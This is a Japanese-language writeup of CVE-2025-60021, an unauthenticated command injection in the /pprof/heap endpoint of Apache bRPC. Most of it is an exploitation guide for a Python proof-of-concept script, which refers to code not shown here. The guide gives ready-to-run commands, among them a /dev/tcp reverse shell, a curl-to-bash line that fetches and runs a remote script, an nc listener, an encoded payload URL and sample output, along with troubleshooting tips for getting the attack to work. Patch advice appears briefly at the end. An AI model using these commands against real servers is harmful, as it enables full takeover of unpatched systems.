
CVE-2025-60021

CVE-2025-60021 は、Apache bRPC のバージョン 1.15.0 未満 における ヒーププロファイラ組み込みサービス (/pprof/heap) に見つかった 重大なリモートコマンドインジェクション脆弱性 であり、認証されていない攻撃者が任意の OS コマンドを実行できるようにします。(NVD)
| 属性 | 情報 |
|---|
| 名称 / ID | CVE-2025-60021 |
| 製品 | Apache bRPC(全プラットフォーム) |
| 影響を受けるバージョン | < 1.15.0 |
| 公開日 | 2026年1月16日 (NVD) |
| 脆弱性の種類 | リモートコマンドインジェクション (CWE-77) (NVD) |
| エンドポイント | /pprof/heap |
| トリガー | 未サニタイズの extra_options パラメータ |
| 根本原因 | OS コマンドとして実行する前に入力が検証されていない (openwall.com) |
❗攻撃者はこのプロファイリングパラメータを操作するだけで、リモートからコマンドを注入できます。
🔥 深刻度評価: 重大
📊 CVSS v3.1 基本スコア: 9.8 / 10
ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| 影響カテゴリ | 影響 | |
|---|---|---|
| 機密性 | 高 | |
| 完全性 | 高 | |
| 可用性 | 高 | |
| 攻撃元 | ネットワーク | |
| 必要な権限 | 不要 | |
| ユーザー操作 | 不要 | (INCIBE) |
👉 これは、攻撃者がログイン不要でリモートから任意のコマンドを実行できることを意味し、公開されたサービスにとって最悪のシナリオです。
/pprof/heap) を公開しています。(openwall.com)extra_options パラメータを受け入れます。bRPC はそれをサニタイズせずに OS シェルに直接渡します。(openwall.com)スクリプトが CVE-2025-60021.py として保存されていることを前提としています(実際の CVE は 2025-60021 ですが、自由にリネームしてください)。これは Apache bRPC のヒーププロファイラにおけるリモートコマンドインジェクション脆弱性を実証するための Python 3 スクリプトです。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ実行してください。許可なく悪用することは違法です。
Python 環境: Python 3 がインストールされていることを確認してください(例: 3.6 以上)。スクリプトは組み込みモジュールに加えて requests と argparse を使用します(これらは標準的または簡単にインストールできます)。
依存関係のインストール: まだインストールされていない場合は、requests ライブラリをインストールします。
pip install requests
ターゲットのセットアップ: 脆弱な Apache bRPC サーバーが必要です。
http://localhost:8060 またはリモート IP/ポート)。
ローカルでテストする場合は、脆弱な bRPC インスタンスをセットアップしてください(例: Docker またはソースビルドから。Apache bRPC のドキュメントを参照)。権限: ネットワークアクセスや特権が必要な場合のみ sudo で実行。それ以外は python3 で問題ありません。
先ほど提供した PoC コードを CVE-2025-60021.py という名前のファイルにコピーしてください。必要に応じて実行可能にします。
chmod +x CVE-2025-60021.py
スクリプトは2つの必須の位置引数を取ります。
target: 脆弱な bRPC サーバーの URL(例: http://192.168.1.100:8060 または http://targets:8060—スキームの欠落やホスト名の誤りなど、タイポを修正してください)。cmd: ターゲット上で実行するコマンド(例: ユーザー情報を取得する "id"、またはリバースシェルのための "curl http://your-server/reverse-shell.sh | bash" のようなより複雑なもの)。&& や ; を使用して複数のコマンドをチェーンできます。ターミナルを開き(例: Kali Linux を使用している場合)、ターゲットとコマンドを指定して実行します。コマンド例:
基本テスト(システム情報の取得):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
リバースシェルの例(your-listener-ip とポートを置き換え、事前に nc -lvnp 4444 などのリスナーをセットアップ):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
HTTPS や別のポートを使用する場合は、URL を適宜調整してください(例: https://target:443—スクリプトは処理しますが、証明書の問題がある場合は --insecure を追加してください)。
成功の兆候:
id を実行した場合は uid=0(root)...)。失敗の兆候(見られた例):
--enable_heap_profiler=true)、サーバーを再起動してください。cmd 引数を忘れています。必ず含めてください。echo "test" > /tmp/proof.txt)を使用し、ターゲット上のファイルを確認してください。; が機能しない場合は、チェーンに && または | を試してください。必要に応じて特殊文字を URL エンコードしてください(スクリプトはほとんどの場合処理します)。/pprof/heap を無効にします。悪用が脆弱なターゲット(ヒーププロファイラが有効、未パッチの bRPC <1.15.0)で成功した場合、ターミナル出力は次のようになります(正確な詳細はコマンドの標準出力とサーバー設定に依存します):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
主な兆候: 200 OK ステータス、そしてコマンド(id && whoami && uname -a など)が出力を生成する場合、それが応答本文に現れる可能性があります(プロファイラのゴミと混ざっています)。サイレントコマンド(リバースシェルなど)の場合は、ターゲットサーバーまたはリスナーでアクティビティを確認してください。端末上で 200 以外の直接的な確認はありません。😈
/pprof/heap へのアクセスをブロックします。✔ 攻撃者は 認証情報を必要としません。 ✔ ネットワーク経由で 機能します。 ✔ 脆弱な bRPC を使用するすべてのプラットフォームに影響します。 ✔ システム全体の乗っ取り につながる可能性があります。
bRPC を重要なサービス(検索、ストレージ、機械学習パイプラインなど)で使用している企業は、この欠陥が 診断ツール を 攻撃ベクトル に変えるため、特にリスクにさらされます。(Daily CyberSecurity)
⚠ EPSS(Exploit Prediction Scoring System): 一部のフィードでは、これまでのところエクスプロイトの観測は少ないとされていますが、悪用の容易さから、実際の攻撃で急速に利用される可能性があります。(Tenable®)
📌 分類: CWE-77 — コマンドにおける特殊要素の不適切な無害化(Command Injection)。(NVD)
Apache bRPC を本番環境で実行している場合は、すぐにパッチを適用し、診断エンドポイントへのアクセスを制限してリスクを軽減してください。